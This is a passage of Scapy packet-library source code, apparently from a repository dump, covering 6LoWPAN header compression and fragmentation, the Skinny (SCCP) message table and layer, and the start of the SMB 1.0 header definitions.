tmp_ip = b\"\\x00\" * 14 + tmp_ip[14:16]\n        elif self.m == 1 and self.dac == 0:\n            if self.dam == 0x0:\n                pass\n            if self.dam == 0x1:\n                tmp_ip = b\"\\x00\" * 10 + tmp_ip[1:2] + tmp_ip[11:16]\n            elif self.dam == 0x2:\n                tmp_ip = b\"\\x00\" * 12 + tmp_ip[1:2] + tmp_ip[13:16]\n            elif self.dam == 0x3:\n                tmp_ip = b\"\\x00\" * 15 + tmp_ip[15:16]\n        elif self.m == 1 and self.dac == 1:\n            if self.dam == 0:\n                tmp_ip = b\"\\x00\" * 10 + tmp_ip[1:3] + tmp_ip[12:16]\n\n        self.dst = inet_ntop(socket.AF_INET6, tmp_ip)\n\n    def decompressSourceAddr(self, packet):\n        # https://tools.ietf.org/html/rfc6282#section-3.1.1\n        try:\n            tmp_ip = inet_pton(socket.AF_INET6, self.src)\n        except socket.error:\n            tmp_ip = b\"\\x00\" * 16\n\n        if self.sac == 0:\n            if self.sam == 0x0:\n                # Full address is carried in-line\n                pass\n            elif self.sam == 0x1:\n                tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[16 - source_addr_size(self):16]  # noqa: E501\n            elif self.sam == 0x2:\n                tmp = LINK_LOCAL_PREFIX[0:8] + b\"\\x00\\x00\\x00\\xff\\xfe\\x00\"\n                tmp_ip = tmp + tmp_ip[16 - source_addr_size(self):16]\n            elif self.sam == 0x3:\n                # Taken from encapsulating header\n                tmp_ip = _extract_upperaddress(self, source=True)\n        else:  # self.sac == 1:\n            if self.sam == 0x0:\n                # Unspecified address ::\n                pass\n            elif self.sam == 0x1:\n                # should use context IID\n                pass\n            elif self.sam == 0x2:\n                # should use context IID\n                tmp = LINK_LOCAL_PREFIX[0:8] + b\"\\x00\\x00\\x00\\xff\\xfe\\x00\"\n                tmp_ip = tmp + tmp_ip[16 - source_addr_size(self):16]\n            elif self.sam == 0x3:\n                # should use context IID\n                tmp_ip = LINK_LOCAL_PREFIX[0:8] + b\"\\x00\" * 8\n        self.src = inet_ntop(socket.AF_INET6, tmp_ip)\n        return self.src\n\n    def guess_payload_class(self, payload):\n        if self.nh:\n            return LoWPAN_NHC\n        u = self.underlayer\n        if u and isinstance(u, (LoWPANFragmentationFirst,\n                                LoWPANFragmentationSubsequent)):\n            return Raw\n        return IPv6\n\n    def do_build(self):\n        _cur = self\n        if isinstance(_cur.payload, LoWPAN_NHC):\n            _cur = _cur.payload\n        if not isinstance(_cur.payload, IPv6):\n            return Packet.do_build(self)\n        ipv6 = _cur.payload\n\n        self._reserved = 0x03\n\n        # NEW COMPRESSION TECHNIQUE!\n        # a ) Compression Techniques\n\n        # 1. Set Traffic Class\n        if self.tf == 0x0:\n            self.tc_ecn = ipv6.tc >> 6\n            self.tc_dscp = ipv6.tc & 0x3F\n            self.flowlabel = ipv6.fl\n        elif self.tf == 0x1:\n            self.tc_ecn = ipv6.tc >> 6\n            self.flowlabel = ipv6.fl\n        elif self.tf == 0x2:\n            self.tc_ecn = ipv6.tc >> 6\n            self.tc_dscp = ipv6.tc & 0x3F\n        else:  # self.tf == 0x3:\n            pass  # no field is set\n\n        # 2. Next Header\n        if self.nh == 0x0:\n            self.nhField = ipv6.nh\n        elif self.nh == 1:\n            # This will be handled in LoWPAN_NHC\n            pass\n\n        # 3. HLim\n        if self.hlim == 0x0:\n            self.hopLimit = ipv6.hlim\n        else:  # if hlim is 1, 2 or 3, there are nothing to do!\n            pass\n\n        # 4. Context (which context to use...)\n        if self.cid == 0x0:\n            pass\n        else:\n            # TODO: Context Unimplemented yet\n            pass\n\n        # 5. Compress Source Addr\n        self.compressSourceAddr(ipv6)\n        self.compressDestAddr(ipv6)\n\n        return Packet.do_build(self)\n\n    def do_build_payload(self):\n        # Elide the IPv6 payload\n        if isinstance(self.payload, IPv6):\n            return raw(self.payload.payload)\n        return Packet.do_build_payload(self)\n\n    def _getTrafficClassAndFlowLabel(self):\n        \"\"\"Page 6, draft feb 2011 \"\"\"\n        if self.tf == 0x0:\n            return (self.tc_ecn << 6) + self.tc_dscp, self.flowlabel\n        elif self.tf == 0x1:\n            return (self.tc_ecn << 6), self.flowlabel\n        elif self.tf == 0x2:\n            return (self.tc_ecn << 6) + self.tc_dscp, 0\n        else:\n            return 0, 0\n\n##############\n# LOWPAN_NHC #\n##############\n\n# https://tools.ietf.org/html/rfc6282#section-4\n\n\nclass LoWPAN_NHC_Hdr(Packet):\n    @classmethod\n    def get_next_cls(cls, s):\n        if s and len(s) >= 2:\n            fb = ord(s[:1])\n            if fb >> 3 == 0x1e:\n                return LoWPAN_NHC_UDP\n            if fb >> 4 == 0xe:\n                return LoWPAN_NHC_IPv6Ext\n        return None\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=b\"\", *args, **kargs):\n        return LoWPAN_NHC_Hdr.get_next_cls(_pkt) or LoWPAN_NHC_Hdr\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass LoWPAN_NHC_UDP(LoWPAN_NHC_Hdr):\n    fields_desc = [\n        BitField(\"res\", 0x1e, 5),\n        BitField(\"C\", 0, 1),\n        BitField(\"P\", 0, 2),\n        MultipleTypeField(\n            [(BitField(\"udpSourcePort\", 0, 16),\n                lambda pkt: pkt.P in [0, 1]),\n             (BitField(\"udpSourcePort\", 0, 8),\n                 lambda pkt: pkt.P == 2),\n             (BitField(\"udpSourcePort\", 0, 4),\n                 lambda pkt: pkt.P == 3)],\n            BitField(\"udpSourcePort\", 0x0, 16),\n        ),\n        MultipleTypeField(\n            [(BitField(\"udpDestPort\", 0, 16),\n                lambda pkt: pkt.P in [0, 2]),\n             (BitField(\"udpDestPort\", 0, 8),\n                 lambda pkt: pkt.P == 1),\n             (BitField(\"udpDestPort\", 0, 4),\n                 lambda pkt: pkt.P == 3)],\n            BitField(\"udpDestPort\", 0x0, 16),\n        ),\n        ConditionalField(\n            XShortField(\"udpChecksum\", 0x0),\n            lambda pkt: pkt.C == 0\n        ),\n    ]\n\n\n_lowpan_nhc_ipv6ext_eid = {\n    0: \"Hop-by-hop Options Header\",\n    1: \"IPv6 Routing Header\",\n    2: \"IPv6 Fragment Header\",\n    3: \"IPv6 Destination Options Header\",\n    4: \"IPv6 Mobility Header\",\n    7: \"IPv6 Header\",\n}\n\n\nclass LoWPAN_NHC_IPv6Ext(LoWPAN_NHC_Hdr):\n    fields_desc = [\n        BitField(\"res\", 0xe, 4),\n        BitEnumField(\"eid\", 0, 3, _lowpan_nhc_ipv6ext_eid),\n        BitField(\"nh\", 0, 1),\n        ConditionalField(\n            ByteField(\"nhField\", 0),\n            lambda pkt: pkt.nh == 0\n        ),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\"),\n        StrFixedLenField(\"data\", b\"\", length_from=lambda pkt: pkt.len)\n    ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            offs = (not self.nh) + 1\n            p = p[:offs] + struct.pack(\"!B\", len(p) - offs) + p[offs + 1:]\n        return p + pay\n\n\nclass LoWPAN_NHC(Packet):\n    name = \"LOWPAN_NHC\"\n    fields_desc = [\n        PacketListField(\n            \"exts\", [], pkt_cls=LoWPAN_NHC_Hdr,\n            next_cls_cb=lambda *s: LoWPAN_NHC_Hdr.get_next_cls(s[3])\n        )\n    ]\n\n    def post_dissect(self, data):\n        if not self.underlayer or not hasattr(self.underlayer, \"_ipv6\"):\n            return data\n        if self.guess_payload_class(data) != IPv6:\n            return data\n        # Underlayer is LoWPAN_IPHC\n        packet = self.underlayer._ipv6\n        try:\n            ipv6_hdr = next(\n                x for x in self.exts if isinstance(x, LoWPAN_NHC_IPv6Ext)\n            )\n        except StopIteration:\n            ipv6_hdr = None\n        if ipv6_hdr:\n            # XXX todo: implement: append the IPv6 extension\n            # packet = packet / ipv6extension\n            pass\n        try:\n            udp_hdr = next(\n                x for x in self.exts if isinstance(x, LoWPAN_NHC_UDP)\n            )\n        except StopIteration:\n            udp_hdr = None\n        if udp_hdr:\n            packet.nh = 0x11  # UDP\n            udp = UDP()\n            # https://tools.ietf.org/html/rfc6282#section-4.3.3\n            if udp_hdr.C == 0:\n                udp.chksum = udp_hdr.udpChecksum\n            if udp_hdr.P == 0:\n                udp.sport = udp_hdr.udpSourcePort\n                udp.dport = udp_hdr.udpDestPort\n            elif udp_hdr.P == 1:\n                udp.sport = udp_hdr.udpSourcePort\n                udp.dport = 0xF000 + udp_hdr.udpDestPort\n            elif udp_hdr.P == 2:\n                udp.sport = 0xF000 + udp_hdr.udpSourcePort\n                udp.dport = udp_hdr.udpDestPort\n            elif udp_hdr.P == 3:\n                udp.sport = 0xF0B0 + udp_hdr.udpSourcePort\n                udp.dport = 0xF0B0 + udp_hdr.udpDestPort\n            packet.lastlayer().add_payload(udp / data)\n        else:\n            packet.lastlayer().add_payload(data)\n        data = raw(packet)\n        return Packet.post_dissect(self, data)\n\n    def do_build(self):\n        if not isinstance(self.payload, IPv6):\n            return Packet.do_build(self)\n        pay = self.payload.payload\n        while pay and isinstance(pay.payload, _IPv6ExtHdr):\n            # XXX todo: populate a LoWPAN_NHC_IPv6Ext\n            pay = pay.payload\n        if isinstance(pay, UDP):\n            try:\n                udp_hdr = next(\n                    x for x in self.exts if isinstance(x, LoWPAN_NHC_UDP)\n                )\n            except StopIteration:\n                udp_hdr = LoWPAN_NHC_UDP()\n                # Guess best compression\n                if pay.sport >> 4 == 0xf0b and pay.dport >> 4 == 0xf0b:\n                    udp_hdr.P = 3\n                elif pay.sport >> 8 == 0xf0:\n                    udp_hdr.P = 2\n                elif pay.dport >> 8 == 0xf0:\n                    udp_hdr.P = 1\n                self.exts.insert(0, udp_hdr)\n            # https://tools.ietf.org/html/rfc6282#section-4.3.3\n            if udp_hdr.P == 0:\n                udp_hdr.udpSourcePort = pay.sport\n                udp_hdr.udpDestPort = pay.dport\n            elif udp_hdr.P == 1:\n                udp_hdr.udpSourcePort = pay.sport\n                udp_hdr.udpDestPort = pay.dport & 255\n            elif udp_hdr.P == 2:\n                udp_hdr.udpSourcePort = pay.sport & 255\n                udp_hdr.udpDestPort = pay.dport\n            elif udp_hdr.P == 3:\n                udp_hdr.udpSourcePort = pay.sport & 15\n                udp_hdr.udpDestPort = pay.dport & 15\n            if udp_hdr.C == 0:\n                if pay.chksum:\n                    udp_hdr.udpChecksum = pay.chksum\n                else:\n                    udp_hdr.udpChecksum = UDP(raw(pay)).chksum\n        return Packet.do_build(self)\n\n    def do_build_payload(self):\n        # Elide IPv6 payload, extensions and UDP\n        if isinstance(self.payload, IPv6):\n            cur = self.payload\n            while cur and isinstance(cur, (IPv6, UDP)):\n                cur = cur.payload\n            return raw(cur)\n        return Packet.do_build_payload(self)\n\n    def guess_payload_class(self, payload):\n        if self.underlayer:\n            u = self.underlayer.underlayer\n            if isinstance(u, (LoWPANFragmentationFirst,\n                              LoWPANFragmentationSubsequent)):\n                return Raw\n        return IPv6\n\n\n######################\n# 6LowPan Dispatcher #\n######################\n\n# https://tools.ietf.org/html/rfc4944#section-5.1\n\nclass SixLoWPAN_ESC(Packet):\n    name = \"SixLoWPAN Dispatcher ESC\"\n    fields_desc = [ByteField(\"dispatch\", 0)]\n\n\nclass SixLoWPAN(Packet):\n    name = \"SixLoWPAN Dispatcher\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=b\"\", *args, **kargs):\n        \"\"\"Depending on the payload content, the frame type we should interpret\"\"\"\n        if _pkt and len(_pkt) >= 1:\n            fb = ord(_pkt[:1])\n            if fb == 0x41:\n                return LoWPANUncompressedIPv6\n            if fb == 0x42:\n                return LoWPAN_HC1\n            if fb == 0x50:\n                return LoWPANBroadcast\n            if fb == 0x7f:\n                return SixLoWPAN_ESC\n            if fb >> 3 == 0x18:\n                return LoWPANFragmentationFirst\n            if fb >> 3 == 0x1C:\n                return LoWPANFragmentationSubsequent\n            if fb >> 6 == 0x02:\n                return LoWPANMesh\n            if fb >> 6 == 0x01:\n                return LoWPAN_IPHC\n        return cls\n\n\n#################\n# Fragmentation #\n#################\n\n# fragmentate IPv6\nMAX_SIZE = 96\n\n\ndef sixlowpan_fragment(packet, datagram_tag=1):\n    \"\"\"Split a packet into different links to transmit as 6lowpan packets.\n    Usage example::\n\n      >>> ipv6 = ..... (very big packet)\n      >>> pkts = sixlowpan_fragment(ipv6, datagram_tag=0x17)\n      >>> send = [Dot15d4()/Dot15d4Data()/x for x in pkts]\n      >>> wireshark(send)\n    \"\"\"\n    if not packet.haslayer(IPv6):\n        raise Exception(\"SixLoWPAN only fragments IPv6 packets !\")\n\n    str_packet = raw(packet[IPv6])\n\n    if len(str_packet) <= MAX_SIZE:\n        return [packet]\n\n    def chunks(li, n):\n        return [li[i:i + n] for i in range(0, len(li), n)]\n\n    new_packet = chunks(str_packet, MAX_SIZE)\n\n    new_packet[0] = LoWPANFragmentationFirst(datagramTag=datagram_tag, datagramSize=len(str_packet)) / new_packet[0]  # noqa: E501\n    i = 1\n    while i < len(new_packet):\n        new_packet[i] = LoWPANFragmentationSubsequent(datagramTag=datagram_tag, datagramSize=len(str_packet), datagramOffset=MAX_SIZE // 8 * i) / new_packet[i]  # noqa: E501\n        i += 1\n\n    return new_packet\n\n\ndef sixlowpan_defragment(packet_list):\n    results = {}\n    for p in packet_list:\n        cls = None\n        if LoWPANFragmentationFirst in p:\n            cls = LoWPANFragmentationFirst\n        elif LoWPANFragmentationSubsequent in p:\n            cls = LoWPANFragmentationSubsequent\n        if cls:\n            tag = p[cls].datagramTag\n            results[tag] = results.get(tag, b\"\") + p[cls].payload.load  # noqa: E501\n    return {tag: SixLoWPAN(x) for tag, x in results.items()}\n\n############\n# Bindings #\n############\n\n\nbind_layers(LoWPAN_HC1, IPv6)\n\nbind_top_down(LoWPAN_IPHC, LoWPAN_NHC, nh=1)\nbind_layers(LoWPANFragmentationFirst, SixLoWPAN)\nbind_layers(LoWPANMesh, SixLoWPAN)\nbind_layers(LoWPANBroadcast, SixLoWPAN)\n\nbind_layers(Ether, SixLoWPAN, type=0xA0ED)\n"
  },
  {
    "path": "scapy/layers/skinny.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nSkinny Call Control Protocol (SCCP)\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import LEIntField, LEIntEnumField\nfrom scapy.layers.inet import TCP\n\n# shamelessly ripped from Ethereal dissector\nskinny_messages = {\n    # Station -> Callmanager\n    0x0000: \"KeepAliveMessage\",\n    0x0001: \"RegisterMessage\",\n    0x0002: \"IpPortMessage\",\n    0x0003: \"KeypadButtonMessage\",\n    0x0004: \"EnblocCallMessage\",\n    0x0005: \"StimulusMessage\",\n    0x0006: \"OffHookMessage\",\n    0x0007: \"OnHookMessage\",\n    0x0008: \"HookFlashMessage\",\n    0x0009: \"ForwardStatReqMessage\",\n    0x000A: \"SpeedDialStatReqMessage\",\n    0x000B: \"LineStatReqMessage\",\n    0x000C: \"ConfigStatReqMessage\",\n    0x000D: \"TimeDateReqMessage\",\n    0x000E: \"ButtonTemplateReqMessage\",\n    0x000F: \"VersionReqMessage\",\n    0x0010: \"CapabilitiesResMessage\",\n    0x0011: \"MediaPortListMessage\",\n    0x0012: \"ServerReqMessage\",\n    0x0020: \"AlarmMessage\",\n    0x0021: \"MulticastMediaReceptionAck\",\n    0x0022: \"OpenReceiveChannelAck\",\n    0x0023: \"ConnectionStatisticsRes\",\n    0x0024: \"OffHookWithCgpnMessage\",\n    0x0025: \"SoftKeySetReqMessage\",\n    0x0026: \"SoftKeyEventMessage\",\n    0x0027: \"UnregisterMessage\",\n    0x0028: \"SoftKeyTemplateReqMessage\",\n    0x0029: \"RegisterTokenReq\",\n    0x002A: \"MediaTransmissionFailure\",\n    0x002B: \"HeadsetStatusMessage\",\n    0x002C: \"MediaResourceNotification\",\n    0x002D: \"RegisterAvailableLinesMessage\",\n    0x002E: \"DeviceToUserDataMessage\",\n    0x002F: \"DeviceToUserDataResponseMessage\",\n    0x0030: \"UpdateCapabilitiesMessage\",\n    0x0031: \"OpenMultiMediaReceiveChannelAckMessage\",\n    0x0032: \"ClearConferenceMessage\",\n    0x0033: \"ServiceURLStatReqMessage\",\n    0x0034: \"FeatureStatReqMessage\",\n    0x0035: \"CreateConferenceResMessage\",\n    0x0036: \"DeleteConferenceResMessage\",\n    0x0037: \"ModifyConferenceResMessage\",\n    0x0038: \"AddParticipantResMessage\",\n    0x0039: \"AuditConferenceResMessage\",\n    0x0040: \"AuditParticipantResMessage\",\n    0x0041: \"DeviceToUserDataVersion1Message\",\n    # Callmanager -> Station */\n    0x0081: \"RegisterAckMessage\",\n    0x0082: \"StartToneMessage\",\n    0x0083: \"StopToneMessage\",\n    0x0085: \"SetRingerMessage\",\n    0x0086: \"SetLampMessage\",\n    0x0087: \"SetHkFDetectMessage\",\n    0x0088: \"SetSpeakerModeMessage\",\n    0x0089: \"SetMicroModeMessage\",\n    0x008A: \"StartMediaTransmission\",\n    0x008B: \"StopMediaTransmission\",\n    0x008C: \"StartMediaReception\",\n    0x008D: \"StopMediaReception\",\n    0x008F: \"CallInfoMessage\",\n    0x0090: \"ForwardStatMessage\",\n    0x0091: \"SpeedDialStatMessage\",\n    0x0092: \"LineStatMessage\",\n    0x0093: \"ConfigStatMessage\",\n    0x0094: \"DefineTimeDate\",\n    0x0095: \"StartSessionTransmission\",\n    0x0096: \"StopSessionTransmission\",\n    0x0097: \"ButtonTemplateMessage\",\n    0x0098: \"VersionMessage\",\n    0x0099: \"DisplayTextMessage\",\n    0x009A: \"ClearDisplay\",\n    0x009B: \"CapabilitiesReqMessage\",\n    0x009C: \"EnunciatorCommandMessage\",\n    0x009D: \"RegisterRejectMessage\",\n    0x009E: \"ServerResMessage\",\n    0x009F: \"Reset\",\n    0x0100: \"KeepAliveAckMessage\",\n    0x0101: \"StartMulticastMediaReception\",\n    0x0102: \"StartMulticastMediaTransmission\",\n    0x0103: \"StopMulticastMediaReception\",\n    0x0104: \"StopMulticastMediaTransmission\",\n    0x0105: \"OpenReceiveChannel\",\n    0x0106: \"CloseReceiveChannel\",\n    0x0107: \"ConnectionStatisticsReq\",\n    0x0108: \"SoftKeyTemplateResMessage\",\n    0x0109: \"SoftKeySetResMessage\",\n    0x0110: \"SelectSoftKeysMessage\",\n    0x0111: \"CallStateMessage\",\n    0x0112: \"DisplayPromptStatusMessage\",\n    0x0113: \"ClearPromptStatusMessage\",\n    0x0114: \"DisplayNotifyMessage\",\n    0x0115: \"ClearNotifyMessage\",\n    0x0116: \"ActivateCallPlaneMessage\",\n    0x0117: \"DeactivateCallPlaneMessage\",\n    0x0118: \"UnregisterAckMessage\",\n    0x0119: \"BackSpaceReqMessage\",\n    0x011A: \"RegisterTokenAck\",\n    0x011B: \"RegisterTokenReject\",\n    0x0042: \"DeviceToUserDataResponseVersion1Message\",\n    0x011C: \"StartMediaFailureDetection\",\n    0x011D: \"DialedNumberMessage\",\n    0x011E: \"UserToDeviceDataMessage\",\n    0x011F: \"FeatureStatMessage\",\n    0x0120: \"DisplayPriNotifyMessage\",\n    0x0121: \"ClearPriNotifyMessage\",\n    0x0122: \"StartAnnouncementMessage\",\n    0x0123: \"StopAnnouncementMessage\",\n    0x0124: \"AnnouncementFinishMessage\",\n    0x0127: \"NotifyDtmfToneMessage\",\n    0x0128: \"SendDtmfToneMessage\",\n    0x0129: \"SubscribeDtmfPayloadReqMessage\",\n    0x012A: \"SubscribeDtmfPayloadResMessage\",\n    0x012B: \"SubscribeDtmfPayloadErrMessage\",\n    0x012C: \"UnSubscribeDtmfPayloadReqMessage\",\n    0x012D: \"UnSubscribeDtmfPayloadResMessage\",\n    0x012E: \"UnSubscribeDtmfPayloadErrMessage\",\n    0x012F: \"ServiceURLStatMessage\",\n    0x0130: \"CallSelectStatMessage\",\n    0x0131: \"OpenMultiMediaChannelMessage\",\n    0x0132: \"StartMultiMediaTransmission\",\n    0x0133: \"StopMultiMediaTransmission\",\n    0x0134: \"MiscellaneousCommandMessage\",\n    0x0135: \"FlowControlCommandMessage\",\n    0x0136: \"CloseMultiMediaReceiveChannel\",\n    0x0137: \"CreateConferenceReqMessage\",\n    0x0138: \"DeleteConferenceReqMessage\",\n    0x0139: \"ModifyConferenceReqMessage\",\n    0x013A: \"AddParticipantReqMessage\",\n    0x013B: \"DropParticipantReqMessage\",\n    0x013C: \"AuditConferenceReqMessage\",\n    0x013D: \"AuditParticipantReqMessage\",\n    0x013F: \"UserToDeviceDataVersion1Message\",\n}\n\n\nclass Skinny(Packet):\n    name = \"Skinny\"\n    fields_desc = [LEIntField(\"len\", 0),\n                   LEIntField(\"res\", 0),\n                   LEIntEnumField(\"msg\", 0, skinny_messages)]\n\n\nbind_layers(TCP, Skinny, dport=2000)\nbind_layers(TCP, Skinny, sport=2000)\nbind_layers(TCP, Skinny, dport=2000, sport=2000)\n"
  },
  {
    "path": "scapy/layers/smb.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nSMB 1.0 (Server Message Block), also known as CIFS.\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `SMB <https://scapy.readthedocs.io/en/latest/layers/smb.html>`_\n\nSpecs:\n\n- [MS-CIFS] (base)\n- [MS-SMB] (extension of CIFS - SMB v1)\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_layers, bind_top_down\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IPField,\n    LEFieldLenField,\n    LEIntEnumField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ReversePadField,\n    ScalingField,\n    ShortField,\n    StrFixedLenField,\n    StrNullField,\n    StrNullFieldUtf16,\n    UTCTimeField,\n    UUIDField,\n    XLEShortField,\n    XStrLenField,\n)\n\nfrom scapy.layers.dns import (\n    DNSStrField,\n    DNSCompressedPacket,\n)\nfrom scapy.layers.ntlm import (\n    _NTLMPayloadPacket,\n    _NTLMPayloadField,\n    _NTLM_ENUM,\n    _NTLM_post_build,\n)\nfrom scapy.layers.netbios import NBTSession, NBTDatagram\nfrom scapy.layers.gssapi import (\n    GSSAPI_BLOB,\n)\nfrom scapy.layers.smb2 import (\n    SMB2_Compression_Transform_Header,\n    SMB2_Header,\n    SMB2_Transform_Header,\n)\nfrom scapy.layers.windows.erref import STATUS_ERREF\n\n\nSMB_COM = {\n    0x00: \"SMB_COM_CREATE_DIRECTORY\",\n    0x01: \"SMB_COM_DELETE_DIRECTORY\",\n    0x02: \"SMB_COM_OPEN\",\n    0x03: \"SMB_COM_CREATE\",\n    0x04: \"SMB_COM_CLOSE\",\n    0x05: \"SMB_COM_FLUSH\",\n    0x06: \"SMB_COM_DELETE\",\n    0x07: \"SMB_COM_RENAME\",\n    0x08: \"SMB_COM_QUERY_INFORMATION\",\n    0x09: \"SMB_COM_SET_INFORMATION\",\n    0x0A: \"SMB_COM_READ\",\n    0x0B: \"SMB_COM_WRITE\",\n    0x0C: \"SMB_COM_LOCK_BYTE_RANGE\",\n    0x0D: \"SMB_COM_UNLOCK_BYTE_RANGE\",\n    0x0E: \"SMB_COM_CREATE_TEMPORARY\",\n    0x0F: \"SMB_COM_CREATE_NEW\",\n    0x10: \"SMB_COM_CHECK_DIRECTORY\",\n    0x11: \"SMB_COM_PROCESS_EXIT\",\n    0x12: \"SMB_COM_SEEK\",\n    0x13: \"SMB_COM_LOCK_AND_READ\",\n    0x14: \"SMB_COM_WRITE_AND_UNLOCK\",\n    0x1A: \"SMB_COM_READ_RAW\",\n    0x1B: \"SMB_COM_READ_MPX\",\n    0x1C: \"SMB_COM_READ_MPX_SECONDARY\",\n    0x1D: \"SMB_COM_WRITE_RAW\",\n    0x1E: \"SMB_COM_WRITE_MPX\",\n    0x1F: \"SMB_COM_WRITE_MPX_SECONDARY\",\n    0x20: \"SMB_COM_WRITE_COMPLETE\",\n    0x21: \"SMB_COM_QUERY_SERVER\",\n    0x22: \"SMB_COM_SET_INFORMATION2\",\n    0x23: \"SMB_COM_QUERY_INFORMATION2\",\n    0x24: \"SMB_COM_LOCKING_ANDX\",\n    0x25: \"SMB_COM_TRANSACTION\",\n    0x26: \"SMB_COM_TRANSACTION_SECONDARY\",\n    0x27: \"SMB_COM_IOCTL\",\n    0x28: \"SMB_COM_IOCTL_SECONDARY\",\n    0x29: \"SMB_COM_COPY\",\n    0x2A: \"SMB_COM_MOVE\",\n    0x2B: \"SMB_COM_ECHO\",\n    0x2C: \"SMB_COM_WRITE_AND_CLOSE\",\n    0x2D: \"SMB_COM_OPEN_ANDX\",\n    0x2E: \"SMB_COM_READ_ANDX\",\n    0x2F: \"SMB_COM_WRITE_ANDX\",\n    0x30: \"SMB_COM_NEW_FILE_SIZE\",\n    0x31: \"SMB_COM_CLOSE_AND_TREE_DISC\",\n    0x32: \"SMB_COM_TRANSACTION2\",\n    0x33: \"SMB_COM_TRANSACTION2_SECONDARY\",\n    0x34: \"SMB_COM_FIND_CLOSE2\",\n    0x35: \"SMB_COM_FIND_NOTIFY_CLOSE\",\n    0x70: \"SMB_COM_TREE_CONNECT\",\n    0x71: \"SMB_COM_TREE_DISCONNECT\",\n    0x72: \"SMB_COM_NEGOTIATE\",\n    0x73: \"SMB_COM_SESSION_SETUP_ANDX\",\n    0x74: \"SMB_COM_LOGOFF_ANDX\",\n    0x75: \"SMB_COM_TREE_CONNECT_ANDX\",\n    0x7E: \"SMB_COM_SECURITY_PACKAGE_ANDX\",\n    0x80: \"SMB_COM_QUERY_INFORMATION_DISK\",\n    0x81: \"SMB_COM_SEARCH\",\n    0x82: \"SMB_COM_FIND\",\n    0x83: \"SMB_COM_FIND_UNIQUE\",\n    0x84: \"SMB_COM_FIND_CLOSE\",\n    0xA0: \"SMB_COM_NT_TRANSACT\",\n    0xA1: \"SMB_COM_NT_TRANSACT_SECONDARY\",\n    0xA2: \"SMB_COM_NT_CREATE_ANDX\",\n    0xA4: \"SMB_COM_NT_CANCEL\",\n    0xA5: \"SMB_COM_NT_RENAME\",\n    0xC0: \"SMB_COM_OPEN_PRINT_FILE\",\n    0xC1: \"SMB_COM_WRITE_PRINT_FILE\",\n    0xC2: \"SMB_COM_CLOSE_PRINT_FILE\",\n    0xC3: \"SMB_COM_GET_PRINT_QUEUE\",\n    0xD8: \"SMB_COM_READ_BULK\",\n    0xD9: \"SMB_COM_WRITE_BULK\",\n    0xDA: \"SMB_COM_WRITE_BULK_DATA\",\n    0xFE: \"SMB_COM_INVALID\",\n    0xFF: \"SMB_COM_NO_ANDX_COMMAND\",\n}\n\n\nclass SMB_Header(Packet):\n    name = \"SMB 1 Protocol Request Header\"\n    fields_desc = [\n        StrFixedLenField(\"Start\", b\"\\xffSMB\", 4),\n        ByteEnumField(\"Command\", 0x72, SMB_COM),\n        LEIntEnumField(\"Status\", 0, STATUS_ERREF),\n        FlagsField(\n            \"Flags\",\n            0x18,\n            8,\n            [\n                \"LOCK_AND_READ_OK\",\n                \"BUF_AVAIL\",\n                \"res\",\n                \"CASE_INSENSITIVE\",\n                \"CANONICALIZED_PATHS\",\n                \"OPLOCK\",\n                \"OPBATCH\",\n                \"REPLY\",\n            ],\n        ),\n        FlagsField(\n            \"Flags2\",\n            0x0000,\n            -16,\n            [\n                \"LONG_NAMES\",\n                \"EAS\",\n                \"SMB_SECURITY_SIGNATURE\",\n                \"COMPRESSED\",\n                \"SMB_SECURITY_SIGNATURE_REQUIRED\",\n                \"res\",\n                \"IS_LONG_NAME\",\n                \"res\",\n                \"res\",\n                \"res\",\n                \"REPARSE_PATH\",\n                \"EXTENDED_SECURITY\",\n                \"DFS\",\n                \"PAGING_IO\",\n                \"NT_STATUS\",\n                \"UNICODE\",\n            ],\n        ),\n        LEShortField(\"PIDHigh\", 0x0000),\n        StrFixedLenField(\"SecuritySignature\", b\"\", length=8),\n        LEShortField(\"Reserved\", 0x0),\n        LEShortField(\"TID\", 0),\n        LEShortField(\"PIDLow\", 0),\n        LEShortField(\"UID\", 0),\n        LEShortField(\"MID\", 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (bytes) -> Packet\n        if not payload:\n            return super(SMB_Header, self).guess_payload_class(payload)\n        WordCount = ord(payload[:1])\n        if self.Command == 0x72:\n            if self.Flags.REPLY:\n                if self.Flags2.EXTENDED_SECURITY:\n                    return SMBNegotiate_Response_Extended_Security\n                else:\n                    return SMBNegotiate_Response_Security\n            else:\n                return SMBNegotiate_Request\n        elif self.Command == 0x73:\n            if WordCount == 0:\n                return SMBSession_Null\n            if self.Flags.REPLY:\n                if WordCount == 0x04:\n                    return SMBSession_Setup_AndX_Response_Extended_Security\n                elif WordCount == 0x03:\n                    return SMBSession_Setup_AndX_Response\n                if self.Flags2.EXTENDED_SECURITY:\n                    return SMBSession_Setup_AndX_Response_Extended_Security\n                else:\n                    return SMBSession_Setup_AndX_Response\n            else:\n                if WordCount == 0x0C:\n                    return SMBSession_Setup_AndX_Request_Extended_Security\n                elif WordCount == 0x0D:\n                    return SMBSession_Setup_AndX_Request\n                if self.Flags2.EXTENDED_SECURITY:\n                    return SMBSession_Setup_AndX_Request_Extended_Security\n                else:\n                    return SMBSession_Setup_AndX_Request\n        elif self.Command == 0x25:\n            if self.Flags.REPLY:\n                if WordCount == 0x11:\n                    return SMBMailslot_Write\n                else:\n                    return 